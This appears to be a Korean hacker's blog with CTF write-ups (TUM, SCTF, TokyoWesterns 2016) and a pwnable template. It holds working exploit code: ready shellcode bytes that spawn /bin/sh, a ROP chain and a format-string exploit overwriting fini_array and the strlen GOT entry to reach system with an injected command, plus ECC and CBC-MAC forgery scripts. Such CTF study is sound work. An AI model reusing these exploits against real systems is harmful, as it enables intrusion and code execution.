맥에서 안드로이드 usb 테더링 할 때 

아래 주소에서 설치해 주고


https://joshuawise.com/horndis


보안탭에서 신뢰클릭 하면 됨


'MEMO' 카테고리의 다른 글

ubuntu KVM 가상화 설치  (0) 2016.07.25
linux version information  (0) 2016.07.24
arm, mips 2.6에 gcc 설치하기  (0) 2016.07.24
strace 4.12 arm cross compile min version 2.6.32  (0) 2016.07.19
FATAL: kernel too old 문제  (0) 2016.07.19
Posted by goldpapa
,

pwnable templete from alex

CTF 2016. 12. 27. 16:27

#!/usr/bin/python

# -*- coding: utf-8 -*-

# snip from http://rintaro.hateblo.jp/entry/2016/05/24/002700

import sys, socket, struct, telnetlib, time


###################### func ######################

def sock(remoteip, remoteport):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((remoteip, remoteport))

f = s.makefile("rw", bufsize=0)

return s, f


def read_until(f, delim="\n"):

data = ""

while not data.endswith(delim):

data += f.read(1)

return data


def shell(s, cmd=''):

t = telnetlib.Telnet()

t.sock = s

        if len(cmd) != 0:

            s.send(cmd)

t.interact()


# simple shellcode with non zero - pwntools

i386_sh = '68010101018134247269010131d2526a045a01e25289e26a68682f2f2f73682f62696e6a0b5889e389d199cd80'.decode('hex')

amd64_sh = '68726901018134240101010131d2526a085a4801e2524889e26a6848b82f62696e2f2f2f73506a3b584889e74889d6990f05'.decode('hex')


# non zero / ARMSCGen

arm_sh = '10008fe20020a0e305002de90d10a0e10b7000e3010000ef2f62696e2f736800'.decode('hex')

thumb_sh = '78460b30401c921a0b2705b4694601df2f62696e2f736800'.decode('hex')


###################### main ######################


RHOST = '1111'

LHOST = '2222'

PORT  = 3333


'CTF' 카테고리의 다른 글

[tum ctf 2016] hiecss - crpyto  (0) 2016.10.05
[tum ctf 2016] haggis - crpyto  (0) 2016.10.03
[SCTF 2016] pwn2 한땀 한땀 ROP read /bin/sh  (0) 2016.09.16
[tokyo 2016] ReverseBox  (0) 2016.09.12
[tokyo ctf 2016]greeting  (0) 2016.09.06
Posted by goldpapa
,

퍼징 URL

fuzz 2016. 11. 11. 23:42

https://fuzzing-project.org/tutorial1.html


Posted by goldpapa
,

[tum ctf 2016] hiecss - crpyto

CTF 2016. 10. 5. 00:03

[참조] https://github.com/dqi/ctf_writeup/blob/master/2016/tumctf/hiecss/README.md

여기 번역, 또는 따라하기

문제

#!/usr/bin/env python3
import gmpy2
from Crypto.Hash import SHA256

e = 65537
order = 'Give me the flag. This is an order!'

def sqrt(n, p):
   if p % 4 != 3: raise NotImplementedError()
   return pow(n, (p + 1) // 4, p) if pow(n, (p - 1) // 2, p) == 1 else None

# just elliptic-curve addition, nothing to see here
def add(q, a, b, P, Q):
   if () in (P, Q):
       return (P, Q)[P == ()]
   (Px, Py), (Qx, Qy) = P, Q
   try:
       if P != Q: lam = (Qy - Py) * gmpy2.invert(Qx - Px, q) % q
       else: lam = (3 * Px ** 2 + a) * gmpy2.invert(2 * Py, q) % q
   except ZeroDivisionError:
       return ()
   Rx = (lam ** 2 - Px - Qx) % q
   Ry = (lam * Px - lam * Rx - Py) % q
   return int(Rx), int(Ry)

# just elliptic-curve scalar multiplication, nothing to see here
def mul(q, a, b, n, P):
   R = ()
   while n:
       if n & 1: R = add(q, a, b, R, P)
       P, n = add(q, a, b, P, P), n // 2
   return R

def decode(bs):
   if len(bs) < 0x40:
       return None
   s, m = int(bs[:0x40], 16), bs[0x40:]
   if s >= q:
       print('\x1b[31mbad signature\x1b[0m')
       return None
   S = s, sqrt(pow(s, 3, q) + a * s + b, q)
   if S[1] is None:
       print('\x1b[31mbad signature:\x1b[0m {:#x}'.format(S[0]))
       return None
   h = int(SHA256.new(m.encode()).hexdigest(), 16)
   if mul(q, a, b, e, S)[0] == h:
       return m
   else:
       print('\x1b[31mbad signature:\x1b[0m ({:#x}, {:#x})'.format(*S))

if __name__ == '__main__':

   q, a, b = map(int, open('curve.txt').read().strip().split())

   for _ in range(1337):
       m = decode(input())
       if m is not None and m.strip() == order:
           print(open('flag.txt').read().strip()) 

break 


[아이디어]

q, a, b = map(int, open('curve.txt').read().strip().split()) 

ECC 를 이용한 문제, q, a, b를 읽어서 처리하고 있음, 처음에 q, a, b가 뭔지 몰라서 온갖 삽질을 하고 다녔음. 그러다가 인터넷에서 찾음, 깔끔하게 정리되어 있음

q : 보통은 p라고 많이 쓰는데, 소수이며 모듈러로 사용함

a, b : 계수라고 하나 뭐 하여튼. y^2 = x^3 + a*x  + b 에서 a와 b를 말함, ECC는 a, b 가 전부임, y^2 와 x^3에는 계수가 없기 때문임

그러므로 q, a, b를 구하면 될 것 같음. 당연한거 아님? 그러나 당연하지 않음. 그 뒤에도 알아야 할 것이 태산같이 많음

  h = int(SHA256.new(m.encode()).hexdigest(), 16)

 if mul(q, a, b, e, S)[0] == h:

 여기에서는 입력하는 메시지의 SHA256 를 구해서 mul(q, q, b , e, S) 함수와 비교함 그러니까 m을 공격자가 입력하는 값이므로 q, a, b만 알면 h를 구할 수 있을 것 같음

k = gmpy2.invert(n, l) 

가장 짧을 글자이지만 어려운 개념이 들어있음 우선 l 이 어려움. l은 q, a, b를 구한 다음, 한번더 계산해야 하는 값임. 영어로는 order 라고 불리며, 어려운 말로 쓰이면 '순환군의 갯수'  정도, ECC 패어링에서 생성하는 전체의 갯수. 이 갯수를 구하는 것이 이 문제를 푸는 핵심임. order 를 구한 다음 e의 값의 역(reverse)를 구해서 푸는 문제임


[q 구하기]

가장 쉬운 문제, 왜냐면 문제에서 갈켜주고 있기 때문이 바이너리 검색으로 구할 수 있음

 

H=0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

L=1

m=H+L//2


buf="%064x"%m

buf+=orderpad


p.sendline(buf)


recvbuf = p.recv()

print recvbuf

k=0

while True:

  k+=1

  if recvbuf.find(":")>=0:

    print "q is bigger "

    L=m+1

  else:

    print "q is smaller or equal"

    H=m

  print (k,hex(m))

  if H-L<=1:

    print ('deff',H-L)

    break


  m=(H+L)//2

  buf="%064x"%m

  buf+=orderpad


  p.sendline(buf)


  sleep(0.1)

  recvbuf = p.recv()

  print recvbuf 


m=0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c296+1


buf="%064x"%m

buf+=orderpad


p.sendline(buf)


recvbuf = p.recv()

print recvbuf

k=0

while True:

  k+=1

  if recvbuf.find(":")>=0:

    print "q is bigger "

  else:

    print "q is smaller or equal"

  print (k,hex(m))

  break


이렇게 q의 값을 쉽게 구함


[a와 b 구하기]

이것도 쉬움, 왜냐면 2원 1차 연립 방정식이기 때문임

ECC 의 일반항이 이거인데, y^2 = x^3 + a*x  + b 

문제에서 3, 6의 값을 보내면 사인값이 틀렸다고 하면서 해당되는 y의 값을 출력해줌

 for i in range(3,20):

  print 'i=',i


  buf="%064x"%i

  buf+=orderpad


  p.sendline(buf)


  recvbuf = p.recv()

  print recvbuf

요렇게 데이터를 보내면, 서버에서 해당되는 값을 보내줌, 그래서 방정식을 풀 수 있음

q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297


x1=0x3

y1=0x493589ba9df3a079e9bfb83e0037cd6a6d5b89fc37dd7c1759df8f601c4a1cc


x2=0x6

y2=0x2179f35ed018406b3a98072c5577a80c7b1c9feb78f480bbbc0f8adda7f8a542


#b = y1**2 - a*x1

#b = y2**2 - a*x2


b =( y1**2 * 2 - y2**2 ) % q


a1 = (y1**2 - x1**3 - b) / x1

a2 = (y2**2 - x2**3 - b) / x2

  

print 'b=',hex(b%q)

print 'a1=',hex(a1%q)

print 'a2=',hex(a2%q)

 


[order 구하기]

위에서 a, b, q값을 구했으므로, h를 쉽게 구할 수 있을 것 같음, 물론 문제 계산에서는 6만몇번 돌려서 값을 구했는데 .... 그러나 실제 몇번 돌려야 하는지 계산해 보면 지림. 몇번 계산해야 하는가는 order 값을 구해서 e 값의 역(reverse)를 구해야 함. 우선은 order 를 구해야 함

sage: a = 0xb3b04200486514cb8fdcf3037397558a8717c85acf19bac71ce72698a23f635

sage: b = 0x12f55f6e7419e26d728c429a2b206a2645a7a56a31dbd5bfb66864425c8a2320

sage: q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297

sage: E = EllipticCurve(GF(q), [a,b])

sage: E.order()

16503925798136106726026894143294039201930439456987742756395524593191976084900

설명에는 order 를 구하기 위하여 sage를 사용했다라는 달랑 한줄만 나옴. 그러나 여기에도 조금 깊은 설명이 필요함 우선 sage를 python를 기반으로 하는 cython을 이용하여 만든 수학계산 함수 모음 정도됨. python 이 스크립트 언어이기 때문에 느린 단점을 바이너리로 만들어서 커버침. 설명하면 지루하고 . 인터넷에보면 sage 를 어떻게 설치해야 하는가 설명이 잘 나와있음 . 검색어 : sagemath

위에서 잠깐 설명했듯이 order를 알아야 역(reverse)를 구하고 우리가 만든 임의의 값을 넣어서 해쉬값(mac)을 위조할 수 있음. sage 에서 미리 order 구하는 함수를 만들어 놓았음. 그래서 동일하게 값을 입력하면 order 를 구해줌. 자 이제 다 구했음 이제 답을 입력해 볼 차례임

q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297

a = 0xb3b04200486514cb8fdcf3037397558a8717c85acf19bac71ce72698a23f635

b = 0x12f55f6e7419e26d728c429a2b206a2645a7a56a31dbd5bfb66864425c8a2320


def bf(i):

   p=remote('localhost',8888)

   log.success(i)

   curve = libnum.ecc.Curve(a, b, q)

   orderpad = 'Give me the flag. This is an order!'+' '*i

   h = int(hashlib.sha256(orderpad).hexdigest(), 16)

   H = curve.check_x(h)[0]

   n = 65537

   l = 16503925798136106726026894143294039201930439456987742756395524593191976084900

   # Multiplicative inverse

   k = gmpy2.invert(n, l)

   Q = curve.power(H, k)

   msg = '%064x' % Q[0] 

   msg += orderpad

   p.sendline(msg)

   buf = p.recv()

   print (buf)


for i in range(10):

   try:

     bf(i)

   except:

     print 'sleep...'

     sleep(0.5) 

다 온줄 알았지만 보야할 것이 좀더 있음 우선 (로컬서버에 socat으로 띄우는 것은 다 아니까 생략) 여기 쯤 오면 libnum.ecc.Curve(a, b, q) 내용은 대충 감이 와야 함  ECC 를 만들어 주는 함수임. curve.check_x(h)[0] 패어링 함수. x에 h를 넣고 y를 계산해 주는 함수. H는 ECC 패어링이 생김, 당연함.k = gmpy2.invert(n, l) 이거는 역을 구하는 함수임 invert 함수 자체가 나머지 1이 생기는 곱셉의 역, 뭐 그정도 구하는 함수임. 그래서 내가 만든 H 패어링에 k를 곱하면 해쉬가 동일하게 만들어짐. 그러나 처음하면 에러남. 왜냐면 패어링이 q 보다 큰 값으로 생김. ECC 는 패어링이 q 보다 반드시 작아야 함. 그래서 에러가 남. ' ' 스페이스 패딩을 몇개 넣으면 키가 출력됨

w00t@LiLi-SuperCom:~/Desktop/ctf/muhen/crypto/hiecss$ python ans.py

[+] Opening connection to localhost on port 8888: Done

[+] 4

hxp{H1dd3n_Gr0uP_0rD3rz_4r3_5uPP0s3D_t0_B3_k3p7_h1DD3n!}

ECC에 대한 개념만 있으면 풀이방법이 쉽게 생각나는 문제임(문제 였음)


'CTF' 카테고리의 다른 글

pwnable templete from alex  (0) 2016.12.27
[tum ctf 2016] haggis - crpyto  (0) 2016.10.03
[SCTF 2016] pwn2 한땀 한땀 ROP read /bin/sh  (0) 2016.09.16
[tokyo 2016] ReverseBox  (0) 2016.09.12
[tokyo ctf 2016]greeting  (0) 2016.09.06
Posted by goldpapa
,

http://www.johannes-bauer.com/compsci/ecc/ 에서 발췌


4 Doing useful ECC operations

4.1 Curve cryptosystem parameters

In order to turn all these mathematical basics into a cryptosystem, some parameters have to be defined that are sufficient to do meaningful operations. There are 6 distinct values for the Fp case and they comprise the so-called "domain parameters":

  1. p: The prime number which defines the field in which the curve operates, Fp. All point operations are taken modulo p.
  2. a, b: The two coefficients which define the curve. These are integers.
  3. G: The generator or base point. A distinct point of the curve which resembles the "start" of the curve. This is either given in point form G or as two separate integers gx and gy
  4. n: The order of the curve generator point G. This is, in layman's terms, the number of different points on the curve which can be gained by multiplying a scalar with G. For most operations this value is not needed, but for digital signing using ECDSA the operations are congruent modulo n, not p.
  5. h: The cofactor of the curve. It is the quotient of the number of curve-points, or #E(Fp), divided by n.

4.2 Generating a keypair

Generating a keypair for ECC is trivial. To get the private key, choose a random integer dA, so that

latex:0 \lt d_A \lt n

Then getting the accompanying public key QA is equally trivial, you just have to use scalar point multiplication of the private key with the generator point G:

latex:Q_A = d_A \* G

Note that the public and private key are not equally exchangeable (like in RSA, where both are integers): the private key dA is a integer, but the public key QA is a point on the curve.

'WHAT' 카테고리의 다른 글

vmware tool 수동 설치 ubuntu server 18.04  (0) 2019.03.29
크롬 컴파일  (0) 2019.03.29
pwn-pwnable [ringzer0team]  (0) 2015.06.14
chal_rpc-pwnable [ringzer0team]  (0) 2015.06.11
ask_grandpapa-coding [ringzer0team]  (0) 2015.06.11
Posted by goldpapa
,

[tum ctf 2016] haggis - crpyto

CTF 2016. 10. 3. 22:42

우선

https://ctftime.org/writeup/4290

여기를 보고 이해했음

학교에서 ECB와 CBC 가 중간고사에 나왔고 퀴즈에 나올때마다 맞았으나 정장 문제는 못풀었다는 거...

#!/usr/bin/env python3

import os, binascii, struct

from Crypto.Cipher import AES


pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))

def haggis(m):

    crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

    return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]


target = os.urandom(0x10)

print(binascii.hexlify(target).decode())


msg = binascii.unhexlify(input())


if msg.startswith(b'I solemnly swear that I am up to no good.\0') \

        and haggis(msg) == target:

    print(open('flag.txt', 'r').read().strip()) 

이제 붙여넣기가 잘 되네..


python3이라서 좀 찾아보다가...

여기에서 취약점

1. 키를 다 가르쳐 준다. 암호화 키와 IV를 알려주기 때문에 복호화가 가능

2. 중간에 내가 끼워 넣어서 MAC를 변조 할 수 있음

코드가 아니라 구술 시험이었으면 답변할 수 있었을 것이나..이것이 아니라

적당히 변조한 데이터에 대하여 중간 단계에서 사이퍼를 구한 다음 내가 구하고자 하는 MAX을 적당히 디코드 한 데이터와 XOR한 값을 구한 다음, 초기 데이터에 붙여서 보내면 됨 

아래는 POC 코드, 이 정도는 두어시간내에 풀어야 함 

#!/usr/bin/env python3

import os, binascii, struct

from Crypto.Cipher import AES


pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))

def haggis(m):

    crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

    return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]


def sxor(s1, s2):

   return bytes([c1 ^ c2 for (c1, c2) in zip(s1, s2)])


target = binascii.unhexlify('5795c05b06c7cae52d3744e5e104bc27')


msg = b'I solemnly swear that I am up to no good.\0'+b'A'*6


aes = AES.new(bytes(0x10), AES.MODE_ECB)

#aes = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

 

t12 = aes.decrypt(target)

t11 = sxor(t12,b'\x10'*16)


print (12,binascii.hexlify(t12))

print (11,binascii.hexlify(t11))


aes = AES.new(bytes(0x10), AES.MODE_ECB)

#aes = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

t2 = aes.decrypt(t11)


print (2,binascii.hexlify(t2))


t3len = len(msg) + 0x10

t3buf = t3len.to_bytes(0x10, 'big') + msg


aes = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

t3 = aes.encrypt(t3buf)[-0x10:]

print (3,binascii.hexlify(t3))


t4 = sxor(t2,t3)


aes = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

t2r = aes.encrypt(t2)

print ('t2r',binascii.hexlify(t2r))


aes = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))

t9 = aes.encrypt(t3buf+t4+b'\x10'*16)[-0x10:]

print ('>>>>0808???',binascii.hexlify(t3buf+t4+b'\x10'*16))

print (9,binascii.hexlify(t9))


ans = haggis(msg+t4)

print(len(msg+t4))

print ('answer',binascii.hexlify(ans))

print ('target',binascii.hexlify(target))


'CTF' 카테고리의 다른 글

pwnable templete from alex  (0) 2016.12.27
[tum ctf 2016] hiecss - crpyto  (0) 2016.10.05
[SCTF 2016] pwn2 한땀 한땀 ROP read /bin/sh  (0) 2016.09.16
[tokyo 2016] ReverseBox  (0) 2016.09.12
[tokyo ctf 2016]greeting  (0) 2016.09.06
Posted by goldpapa
,

생각하지 못했던 방법이 많다.

기본적일 수 있는데

생각하지 못했던 방식


eax ebx ecx edx 를 모두 0으로 만들어 놓고

1) read()로 /bin/sh 를 읽고

2) execve를 실행시킨다. 놀랍다


https://github.com/r00ta/myWriteUps/tree/master/SCTF/pwn2


[따라해보기]

w00t@ubuntu:~/Desktop/SCTF/pwn2$ cat a.py

from pwn import *


'''

.text:080484D0                 syscall

.text:080484D3                 inc     eax

.text:080484D5                 inc     ebx

.text:080484D7                 inc     ecx

.text:080484D9                 inc     edx

.text:08048420                 mov     eax, 0

.text:08048459                 mov     edx, 0

.text:0804849a                 add ecx, ecx ; ret


0x0804835d : pop ebx ; ret


'''


inc_eax = 0x080484D3

inc_ebx = 0x080484D5

inc_ecx = 0x080484D7

inc_edx = 0x080484D9

eax0    = 0x08048420

edx0    = 0x08048459

ecxecx  = 0x0804849a

syscall = 0x080484d0

popebx  = 0x0804835d


payload=''

payload+='A'*48

payload+=p32(eax0)

payload+=p32(popebx)

payload+=p32(0xffffffff)

payload+=p32(inc_ebx)

payload+=p32(inc_ecx)

payload+=p32(edx0)


payload+=p32(inc_eax)*3

payload+=p32(inc_edx)*7

payload+=p32(inc_ecx)

payload+=p32(ecxecx)*9

payload+=p32(inc_ecx)

payload+=p32(ecxecx)*3

payload+=p32(inc_ecx)

payload+=p32(ecxecx)*2

payload+=p32(inc_ecx)

payload+=p32(ecxecx)*7

payload+=p32(inc_ecx)

payload+=p32(ecxecx)*6

payload+=p32(syscall)


payload+=p32(eax0)

payload+=p32(inc_eax)*11

payload+=p32(popebx)

payload+=p32(0x0804a040)

payload+=p32(ecxecx)*30

payload+=p32(edx0)

payload+=p32(syscall)

payload+=p32(0xdeadbeef)


p=remote("localhost",9999)

#p=proces("linux_server")


p.sendlineafter("read?","-1")

p.sendlineafter("data!",payload)


p.interactive()



'CTF' 카테고리의 다른 글

[tum ctf 2016] hiecss - crpyto  (0) 2016.10.05
[tum ctf 2016] haggis - crpyto  (0) 2016.10.03
[tokyo 2016] ReverseBox  (0) 2016.09.12
[tokyo ctf 2016]greeting  (0) 2016.09.06
[plaidCTF]butterfly  (0) 2016.04.19
Posted by goldpapa
,

[tokyo 2016] ReverseBox

CTF 2016. 9. 12. 22:41

하하하 이것은 쓸만함 나한테는 재미있는데 다른 사람에게는 ㅋㅋㅋ


w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box

usage: ./reverse_box flag

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box AAAAAAAAAAAAA

e0e0e0e0e0e0e0e0e0e0e0e0e0

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box A

e0

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box AA

e0e0

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box AB

e04f

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box AC

e079

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ ./reverse_box BC

4f79

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$



파일의 정보를 보면

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$ file reverse_box

reverse_box: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5403acba0427c34695b1ebda8f0c678905b33456, stripped

w00t@ubuntu:~/Desktop/ctf-tokyo/reverse$  


그다음은 아이다에서 열고

이렇게 보니까 쉬워보이는데 그 당시는 매우 어려워 보였음


풀이 방법은 크게 2가지임

1. 로직을 분석해서 파이썬 코드로 변환한 사람

2. gdb에 디버깅 걸어서 1~256 대입한 사람

3. LiLi 가 푼 방법


오늘 소개할 방법은 LiLi가 푼 무식한 방법과

gdb 의 x 옵션을 걸어서 나이스하게 푼 방법을 소개함

나이스한 방법은 https://github.com/TeamContagion/CTF-Write-Ups/tree/master/TokyoWesterns-2016/Reverse%20Box 에 있는 내용을 한글로 번역함

이런 방법을 지금까지 몰랐다는 것은 함정!


LiLi가 푼 방법

프로그램을 분석해 보니 

프로그램에서 1바이트만 가지고 와서 일정 위치의 바이트를 가져온다고 알고 있음

그래서 프로그램을 패치한 다음 255번 돌림

위를 몇 바이트 고쳐서 아래와 같이 패치함 그러면 입력된 길이만큼이 아니라 255 바이트 만큼 출력하도록 함

그래서 파이썬으로 프로그램을 읽어서 다시 1바이트 패치를 한 다음 출력하도록 함 이렇게 255번을 돌림

import struct


#대상 프로그램을 읽음

f=open('reverse_box_p','rb')

buf=f.read()


#1바이트 패치함, 시드값의 자리

def mk(k):

  f2=open('reverse_box_p_01','wb')

  f2.write(buf[:0x5B5]+struct.pack("B",k)+buf[0x5B6:])


#고고 함수

def gogo(h):

  mk(h)


  #패치된 프로그램을 실행하며 변경된 메모리값을 1~255까지 출력하게 함

  ans=''

  #filters output

  import subprocess

  proc = subprocess.Popen(['./reverse_box_p_01','A'],stdout=subprocess.PIPE)

  while True:

    line = proc.stdout.readline()

    if line != '':

      #the real code does filtering here

      ans = line.rstrip()

    else:

      break


  #키 값을 메모리에서 특정값을 읽어오는 offset 값임

key='95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a'

  print ans

  i=0

  flag=''

  while i<len(key):

     k = key[i:i+2]

     a = find_c(k,ans)

     if a>0:

         flag += chr(a)

     else:

         break

     i+=2

  #플래그 값을 출력함

  print flag


#메모리(버퍼)에서 오프셋값을 읽어오는 함수

#복호화 하는 함수 이므로 암호값이 몇번째에 있었으냐가 플레인의 값임

def find_c(s,ans):

   i=0

   while i<256:

       if (s==ans[i:i+2]):

           return i/2

       i+=2

   return -1


#0부터 254까지 시드 값을 입력함

for k in range(255):

  gogo(k)


위 프로그램을 실행한 결과 플래그가 출력됨

=




2^

TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}

{FD{WT


N

B



아이고 되다. 그리고 나이스하게 푼 쪽은 아래과 같다. 추가 설명은 영어가 있으니 생략한다.

 # gdb ./reverse_box -x solve.py


Breakpoint 2, 0x080486db in ?? ()


Breakpoint 1, 0x080485b1 in ?? ()


Breakpoint 3, 0x080486e0 in ?? ()

[Inferior 1 (process 46588) exited normally]

TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}

(gdb) q


위에서 사용한 solve.py 소스

 

import gdb
import tempfile
# We know that the following string was produced by the binary when the flag
# was given as input
desired = '95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a'
# The binary looks up the bytes of the input in a lookup table and returns the
# bytes found there. However, the lookup table is randomized, so our task is to
# find the correct table. We know the flag begins with 'TWCTF', so if we
# encrypt that string the beginning of the output should match.
desired_prefix = desired[:len('TWCTF')*2]
seed_set = '*0x80485b1' # Instruction after the seed for the table has been chosen
before_build = '*0x80486db' # instruction just before calling the table build function
after_build = '*0x80486e0' # instruction just after table build function returns
# Disable all existing breakpoints so we can predict where we will stop
for bp in gdb.breakpoints() or []:
bp.enabled = False
my_bps = []
my_bps.append(gdb.Breakpoint(seed_set))
gdb.execute('set pagination off')
# Iterate through the possible seeds (1 to 255, because it is ANDed with 0xff
# and 0 is not accepted) to find the one that matches
outfile = tempfile.NamedTemporaryFile()
for seed in range(1,256):
# Run program sending output to outfile
gdb.execute('run TWCTF{foo} > %s' % outfile.name)
# Just after seed is randomly chosen by program, overwrite it with our
# selection
gdb.execute('set $eax = %d' % seed)
gdb.execute('continue')
# Read the program output and see if it matches our desired encryption of
# 'TWCTF'
outfile.seek(0)
out = outfile.read()
if out.startswith(desired_prefix):
print 'seed is %d' % seed
break
outfile.close()
# Now we need to capture the lookup table generated from this seed
my_bps.append(gdb.Breakpoint(before_build))
my_bps.append(gdb.Breakpoint(after_build))
gdb.execute('run TWCTF{foo} > /dev/null')
# Figure out where the lookup table is stored
stack = gdb.parse_and_eval('(unsigned char **)$esp')
lookup = stack.dereference()
gdb.execute('continue')
# override seed
gdb.execute('set $eax = %d' % seed)
gdb.execute('continue')
# Table has been constructed, read it out byte by byte into a reverse lookup
# dict
table = {}
for i in range(256):
table[int(lookup[i])] = i
# Clean up gdb state
for bp in my_bps:
bp.delete()
gdb.execute('continue')
# Iterate through the desired output, looking up the bytes in the table
vals = []
i = 0
while i < len(desired):
byte = int(desired[i:i+2], 16)
val = table[byte]
vals.append(val)
i += 2
print ''.join(chr(x) for x in vals)


'CTF' 카테고리의 다른 글

[tum ctf 2016] haggis - crpyto  (0) 2016.10.03
[SCTF 2016] pwn2 한땀 한땀 ROP read /bin/sh  (0) 2016.09.16
[tokyo ctf 2016]greeting  (0) 2016.09.06
[plaidCTF]butterfly  (0) 2016.04.19
bctf2016-bcloud  (0) 2016.03.21
Posted by goldpapa
,

[tokyo ctf 2016]greeting

CTF 2016. 9. 6. 00:14
a.pygreetinggreeting_p


쉬운 문제인데 삽질한 문제

1. 한번 감는 것은 쉽다. fini array 거기를 덮어쓰면 된다. 이때 스택을 읽는다. (시스템도 가능한데 시스템은 시스템에서 주니까 패스)

2. 두번째도 ret를 찾아서 덮었는 것은 좋은데 버퍼가 작아서 한번에 2개를 덮으쓰면 맨 뒤 바이트가 들어가지 않는다. 어찌할지 고민하다가 동일한 주소를 다음 스택에 덮어쓰기로 함.

3. 여기까지 하고 삽질의 극치를 보임. 글쎄 plt 를 쓰고 esp에다가 주소값을 넣고 테스트를 진행함. 근데 문제는 스택이 어떨때는 되다가 어쩔때는 안됨... 삽질 시작~~~

4. 포기하고 다음날 다시보니... plt 쓰고 esp+4에다가 써야 하는 거였음, 당연한 거지만 몇달 쉬니깐 까먹음... ㅋㅋㅋㅋ (우낌) esp는  ret고 참나 다음날 보니 바로 보임

5. 로칼에서는 바로 풀었는데. 리모트에서는 다시 삽질 시작. 이상하게 스택이 깨짐. 좀 고민하닥. 2번 감을때 strlen의 got를 system으로 변경해서 해결.

6. 문제의 유형이 다 나왔던 문제인데 이런 문제로 삽질하면 안됨


from pwn import *


def upt4(p,k):

  fini_array_l = 0x08049934

  size=0x85ed-29-len("Nice to meet you, ")


  # Step 1 fini array over write & info leak

  payload = 'JJ'

  payload += p32(fini_array_l)

  payload += "[leak]stack: 0x%2$08x"

  payload += "%"+str(size)+"c"

  payload += "%"+str(k)+"$hn"

  payload += "B"*(0x30-len(payload))+'\n'


  #print hexdump(payload)


  f=open('in.dat','wb')

  f.write(payload)

  f.close()


  p.send(payload)

  garbage =  p.recvuntil("[leak]stack: ")

  #print garbage

  leak_stack = int(p.recv(10),16)


  print "[leak]stack = %x" %(leak_stack)

  print k,"=====",p.recv()

  return leak_stack


def upt5(p,k,t):


  esp0_h = 0x0804

  esp0_l = 0x85ed #main

  #esp0_l = 0x8608

  #esp0_l = 0x8742

  #esp0_l = 0x8772

  #esp0_l = 0x8779

  #esp0_l = 0x8480 #puts


  #stage 2

  esp0 = t           #ret : 0xffffd06c


  size1=esp0_h-18-len("Nice to meet you, ")

  size2=esp0_l-esp0_h


  # Step 1 fini array over write & info leak

  payload = 'JJ'

  payload += p32(esp0+2)

  payload += p32(esp0)

  payload += p32(esp0+4+2)

  payload += p32(esp0+4)

  payload += "%"+str(size1)+"c"+"%"+str(k)+"$hn"

  payload += "%"+str(k+2)+"$hn"

  payload += "%"+str(size2)+"c"+"%"+str(k+1)+"$hn"

  payload += "%"+str(k+3)+"$hn"

  payload += '\n'


  #print hexdump(payload)

  p.send(payload)


def upt_any(p,k,t,value):


  esp0_h = value>>16

  esp0_l = value&0xffff


  if esp0_l > esp0_h:

    print "low"

    off1=2

    off2=0

    size1=esp0_h-10-len("Nice to meet you, ")

    size2=esp0_l-esp0_h

  else:

    print "high"

    off1=0

    off2=2

    size1=esp0_l-10-len("Nice to meet you, ")

    size2=esp0_h-esp0_l


  esp0 = t


  payload = 'JJ'

  payload += p32(esp0+off1)

  payload += p32(esp0+off2)

  payload += "%"+str(size1)+"c"+"%"+str(k)+"$hn"

  payload += "%"+str(size2)+"c"+"%"+str(k+1)+"$hn"

  payload += "AAAAAAAAAAAAAAAAA;ls -al"
  payload += "C"*(0x30-len(payload))
  payload += '\n'

  #print hexdump(payload)
  p.send(payload)

def prt(i):

  p=process('./greeting')
  #p=remote('pwn2.chal.ctf.westerns.tokyo', 16317)

  t1=upt4(p,12)
  esp = t1 - 0xa4
  t1 = t1 - 0x100 + 28 * 4

  #==================
  t = t1
  upt5(p,12,t)
  t = t1+8
  upt5(p,12,t)
  t = t1+16

  upt_any(p,12,t,0x08048490) #system plt
  upt_any(p,12,(esp+40),0xbabecaf1) #??
  upt_any(p,12,(esp+44),(esp+8)) #??

  garbage =  p.recvuntil("not found")
  print "not found"

  print 'esp:',hex(esp+4)
  p.interactive()


t = 0xffffd16c
t = 0xffffd06c

prt(1)


'CTF' 카테고리의 다른 글

[tum ctf 2016] haggis - crpyto  (0) 2016.10.03
[SCTF 2016] pwn2 한땀 한땀 ROP read /bin/sh  (0) 2016.09.16
[tokyo 2016] ReverseBox  (0) 2016.09.12
[plaidCTF]butterfly  (0) 2016.04.19
